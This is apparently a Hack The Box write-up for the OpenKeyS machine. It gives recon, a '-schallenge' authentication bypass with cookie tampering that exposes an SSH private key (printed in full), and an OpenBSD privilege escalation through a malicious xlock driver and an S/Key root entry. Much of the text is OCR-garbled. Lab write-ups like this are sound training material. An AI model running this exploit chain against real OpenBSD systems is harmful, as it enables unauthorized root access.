# **OpenKeyS**



# InfoGathering

SCOPE								
Hosts								
address	mac	name	os_name	os_flavor	os_sp	purpose	info	comments
10 10 10 100			OpenRSD			device		
10.10.10.199		openkeysinco	openbob		4.7	device		

# SERVICES

Services					
host	port	proto	name	state	info
10.10.10.199	22	tcp	ssh	open	OpenSSH 8.1 protocol 2.0
10.10.10.199	80	tcp	http	open	OpenBSD httpd

SSH

[\*] SSH-2.0-OpenSSH\_8.1

```
PORT
      STATE SERVICE
22/tcp open ssh
  ssh-auth-methods:
    Supported authentication methods:
      publickey
      password
      keyboard-interactive
  ssh-hostkey:
    3072 5e:ff:81:e9:1f:9b:f8:9a:25:df:5d:82:1a:dd:7a:81 (RSA)
    256 64:7a:5a:52:85:c5:6d:d5:4a:6b:a7:1a:9a:8a:b9:bb (ECDSA)
    256 12:35:4b:6e:23:09:dc:ea:00:8c:72:20:c7:50:32:f3 (ED25519)
  ssh-publickey-acceptance:
    Accepted Public Keys: No public keys accepted
 ssh-run: Failed to specify credentials and command to run.
  ssh2-enum-algos:
    kex_algorithms: (10)
        curve25519-sha256
        curve25519-sha256@libssh.org
        ecdh-sha2-nistp256
        ecdh-sha2-nistp384
        ecdh-sha2-nistp521
        diffie-hellman-group-exchange-sha256
        diffie-hellman-group16-sha512
        diffie-hellman-group18-sha512
        diffie-hellman-group14-sha256
        diffie-hellman-group14-sha1
    server_host_key_algorithms: (5)
        rsa-sha2-512
        rsa-sha2-256
        ssh-rsa
        ecdsa-sha2-nistp256
        ssh-ed25519
    encryption algorithms: (6)
        chacha20-poly1305@openssh.com
        aes128-ctr
        aes192-ctr
        aes256-ctr
        aes128-gcm@openssh.com
        aes256-gcm@openssh.com
    mac_algorithms: (10)
        umac-64-etm@openssh.com
        umac-128-etm@openssh.com
        hmac-sha2-256-etm@openssh.com
        hmac-sha2-512-etm@openssh.com
        hmac-sha1-etm@openssh.com
        umac-64@openssh.com
        umac-128@openssh.com
        hmac-sha2-256
        hmac-sha2-512
        hmac-sha1
    compression_algorithms: (2)
        none
        zlib@openssh.com
```

#### HTTP LOGIN PAGE: http://10.10.10.199/index.php



#### FUZZ RESULTS

CSS	[Status: 200, Size: 697, Words: 215, Lines: 23]
fonts	[Status: 200, Size: 1066, Words: 385, Lines: 26]
index.php	[Status: 200, Size: 4837, Words: 110, Lines: 102]
images	[Status: 200, Size: 589, Words: 160, Lines: 22]
index.html	[Status: 200, Size: 96, Words: 13, Lines: 7]
includes	[Status: 200, Size: 711, Words: 211, Lines: 23]
js	[Status: 200, Size: 582, Words: 156, Lines: 22]
vendor	[Status: 200, Size: 1522, Words: 635, Lines: 30]

FOUND ROOT WEB DIRECTORY ON TARGET **SOURCE**: http://10.10.109/includes/auth.php.swp

**USERNAME**: jennifer@openkeys.htb **ROOT WEB DIR**: /var/www/htdocs

## SCREENSHOT EVIDENCE OF USERNAME AND ROOT WEB DIR



I downloaded this file and used strings to read it

m True, & SESSION[last activity] - Atime. // Session is active undate last activity

Reading the file I discovered another file location at http://10.10.10.199/includes/../auth\_helpers/check\_auth

# SCREENSHOT EVIDENCE OF CHECK AUTH LOCATION ssion expired? { if(isset(\$ SESSION["logged\_in"])) // Is \$cmd = escapeshellcmd("../auth helpers/check auth "

# **Gaining Access**

From the information gathered above I know OpenBSD is being used to host the web server. I was also able to view the authentication function used.

THe libc module in OpenBSD 6.6 is vulnerable to an authentication bypass vulnerability that uses -schallenge in the username field to define an option that bypass es authentication **REFERENCE**: https://seclists.org/bugtrag/2019/Dec/8

LOGIN PAGE: http://10.10.10.199/login.php USER: -schallenge PASS: whatever

After signing in the site redirects to http://10.10.10.199/sshkey.php

#### SCREENSHOT OF BURP REQUEST

#### Request

	Raw	Params	Headers	Hex					
1	1 POST /index.php HTTP/1.1								
2	2 Host: 10.10.10.199								
З	3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0								
4	<pre>4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</pre>								
5	5 Accept-Language: en-US,en;q=0.5								
6	6 Accept-Encoding: gzip, deflate								
7	7 Referer: http://10.10.10.199/index.php								
8	8 Content-Type: application/x-www-form-urlencoded								
9	9 Content-Length: 42								
10	DNT	: 1							
11	Conr	nection:	close						
12	Cool	kie: PHPS	SESSID=983	3p1312	rli29i7nq0pbak7j84				
13	Upgi	rade-Inse	ecure-Requ	ests:	1				
14									
15	use	rname=-sc	challenge&	passw	ord=passw0rd1%21				

## SCREENSHOT EVIDENCE OF AUTHENTICATION BYPASS

# **OpenSSH** key not found for user -schallenge

Back to login page

The message on the page is looking for an SSH key for the username '-schallenge' I will need to make a modificaiton to the cookie if I wish to return the key for the user Jennifer I discovered earlier

I modified the cookie using a firefox cookie manager extension and created an entry called username and gave it a value of jennifer

## SCREENSHOT EVIDENCE OF COOKIE

Domains (1)		Cookies		
10.10.199	2	PHPSESSID:87a06p38kr6b22aa5oj5n2v8ve		
		username:jennifer		

I then signed into the login page again using the authentication bypass which returned the SSH key

#### SCREENSHOT EVIDENCE OF EXPOSED SSH KEY



🖁 OsbornePro 🖨 GoDaddy 🖨 ProtonMail 🖨 Bitwarden 🦳 NordVPN 🖨 Bitdefender 🖨 Webroot 🖨

## **OpenSSH** key for user jennifer

## ----BEGIN OPENSSH PRIVATE KEY----

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 ----END OPENSSH PRIVATE KEY-----

#### <u>Back to login page</u>

I placed the key into a file and used it to access the target

BEGIN OPENSSH PRIVATE KEY
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
END UPENSSH PRIVATE KEY

SSH into the target

chmod 600 jennifer.key
ssh -p 22 -i jennifer.key jennifer@openkeys.htb

#### SCREENSHOT EVIDENCE OF ACCESSED TARGET

```
li:~/HTB/Boxes/OpenKeyS# ssh -p 22 -i jennifer.key jennifer@openkeys.htb
The authenticity of host 'openkeys.htb (10.10.10.199)' can't be established.
ECDSA key fingerprint is SHA256:gzhq4BokiWZ1NNWrblA8w3hLOhlhoRy+NFyi2smBZOA.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'openkeys.htb,10.10.10.199' (ECDSA) to the list of kn
Last login: Wed Jun 24 09:31:16 2020 from 10.10.14.2
OpenBSD 6.6 (GENERIC) #353: Sat Oct 12 10:45:56 MDT 2019
Welcome to OpenBSD: The proactively secure Unix-like operating system.
Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code. With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.
openkeys$ id
uid=1001(jennifer) gid=1001(jennifer) groups=1001(jennifer), 0(wheel)
openkeys$ hostname
openkeys.htb
openkeys$ ip a
ksh: ip: not found
openkeys$ ifconfig
lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 32768
        index 3 priority 0 llprio 3
        groups: lo
        inet6 ::1 prefixlen 128
        inet6 fe80::1%lo0 prefixlen 64 scopeid 0×3
        inet 127.0.0.1 netmask 0×ff000000
vmx0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
        lladdr 00:50:56:b9:b7:d0
        index 1 priority 0 llprio 3
        groups: egress
        media: Ethernet autoselect (10GbaseT)
        status: active
        inet 10.10.10.199 netmask 0×ffffff00 broadcast 10.10.10.255
enc0: flags=0◇
        index 2 priority 0 llprio 3
        groups: enc
       status: active
pflog0: flags=141<UP,RUNNING,PROMISC> mtu 33136
        index 4 priority 0 llprio 3
        groups: pflog
openkeys$
```

I was then able to read the user flag

cat /home/jennifer/user.txt
# RESULTS
36ab21239a15c537bde90626891d2b10

#### SCREENSHOT EVIDENCE OF USER FLAG

openkeys\$ cat /home/jennifer/user.txt 36ab21239a15c537bde90626891d2b10 openkeys\$

# USER FLAG: 36ab21239a15c537bde90626891d2b10

# PrivEsc

Using the same CVE as discovered earlier I was able to obtain privesc.

/usr/X11R6/bin/xlock is installed by default on OpenBSD The xlock command has isset-group-ID "auth" as opposed to the now set-user-ID This means the authentication check is therefore incomplete and it should use issetugid() to correct the issue. This can be seen in the vulnerable code below

```
# VULNERABLE CODE
101 _X_HIDDEN void *
102 dri0penDriver(const char *driverName)
103 {
...
113 if (geteuid() == getuid()) {
114 /* don't allow setuid apps to use LIBGL_DRIVERS_PATH */
115 libPaths = getenv("LIBGL_DRIVERS_PATH")
```

A local attacker can exploit this vulnerability and dlopen() their owndriver to obtain the privileges of the group "auth"

Using the below reference I performed the attack **RESOURCE:** https://www.qualys.com/2019/12/04/cve-2019-19521/authentication-vulnerabilities-openbsd.txt

#### CONTENTS OF swrast\_dri.c

```
#include <paths.h>
#include <sys/types.h>
#include <unistd.h>
static void __attribute__ ((constructor)) __init (void) {
    gid_t rgid, egid, sgid;
    if (getresgid(&rgid, &egid, &sgid) != 0) __exit(__LINE__);
    if (setresgid(sgid, sgid, sgid) != 0) __exit(__LINE__);
    char * const argv[] = { __PATH_KSHELL, NULL };
    execve(argv[0], argv, NULL);
    __exit(__LINE__);
}
```

I built this file using a new cool trick I learned from the CVE paper

```
# Execute below command to create a build as you go file
cat > swrast dri.c << "EOF"</pre>
#include <paths.h>
#include <sys/types.h>
#include <unistd.h>
            _attribute_
static void
                      ((constructor)) _init (void) {
   gid_t rgid, egid, sgid;
   if (getresgid(&rgid, &egid, &sgid) != 0) _exit(__LINE__);
   if (setresgid(sgid, sgid, sgid) != 0) _exit(_LINE_);
   char * const argv[] = { _PATH_KSHELL, NULL };
   execve(argv[0], argv, NULL);
   exit( LINE );
EOF
```

I then compiled the malicious driver

gcc -fpic -shared -s -o swrast\_dri.so swrast\_dri.c

Once the exploit was compiled I modified the environment to exploit the vulnerability

# Modify a env variables from inside an empty environment slicing the value needed env -i /usr/X11R6/bin/Xvfb :66 -cc 0 & env -i LIBGL\_DRIVERS\_PATH=. /usr/X11R6/bin/xlock -display :66 # Now using CVE-2019-19522 I can use SKey to upgrade my permissions echo 'root md5 0100 obsd91335 8b6d96e0ef1b1c21' > /etc/skey/root # Assign required file permissions and use the newly created key chmod 0600 /etc/skey/root env -i TERM=vt220 su -l -a skey # Instead of entering the password for root I enter the recovery key for the OTP EGG LARD GROW HOG DRAG LAIN

#### SCREENSHOT EVIDENCE OF PRIVILEGE ESCALATION

```
openkeys$ cat > swrast_dri.c << "EOF"
> #include <paths.h>
> #include <sys/types.h>
> #include <unistd.h>
>
> static void __attribute__ ((constructor)) _init (void) {
>
      gid_t rgid, egid, sgid;
      if (getresgid(\deltargid, \deltaegid, \deltasgid) \neq 0) _exit(_LINE_);
      if (setresgid(sgid, sgid, sgid) \neq 0) _exit(_LINE_);
>
>
      char * const argv[] = { _PATH_KSHELL, NULL };
      execve(argv[0], argv, NULL);
      _exit(__LINE__);
> }
> E0F
openkeys$ gcc -fpic -shared -s -o swrast_dri.so swrast_dri.c
openkeys$ env -i /usr/X11R6/bin/Xvfb :66 -cc 0 &
[1] 3111
openkeys$ _XSERVTransmkdir: ERROR: euid ≠ 0,directory /tmp/.X11-unix will not be created.
openkeys$ env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display :66
openkeys$ id
uid=1001(jennifer) gid=11(auth) groups=1001(jennifer), 0(wheel)
openkeys$ echo 'root md5 0100 obsd91335 8b6d96e0ef1b1c21' > /etc/skey/root
openkeys$ chmod 0600 /etc/skey/root
openkeys$ env -i TERM=vt220 su -l -a skey
otp-md5 99 obsd91335
S/Key Password:
openkeys# id
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)
openkeys# hostname
openkeys.htb
openkeys# ifconfig
lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 32768
        index 3 priority 0 llprio 3
        groups: lo
        inet6 ::1 prefixlen 128
        inet6 fe80::1%lo0 prefixlen 64 scopeid 0×3
        inet 127.0.0.1 netmask 0×ff000000
vmx0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
        lladdr 00:50:56:b9:b7:d0
        index 1 priority 0 llprio 3
        groups: egress
        media: Ethernet autoselect (10GbaseT)
        status: active
        inet 10.10.10.199 netmask 0×ffffff00 broadcast 10.10.10.255
enc0: flags=0◇
        index 2 priority 0 llprio 3
        groups: enc
        status: active
pflog0: flags=141<UP,RUNNING,PROMISC> mtu 33136
        index 4 priority 0 llprio 3
        groups: pflog
```

I was then able to read the root flag

cat /root/root.txt
# RESULTS
f3a553b1697050ae885e7c02dbfc6efa

## SCREENSHOT EVIDENCE OF ROOT FLAG

openkeys# cat /root/root.txt f3a553b1697050ae885e7c02dbfc6efa openkeys#

## ROOT FLAG: f3a553b1697050ae885e7c02dbfc6efa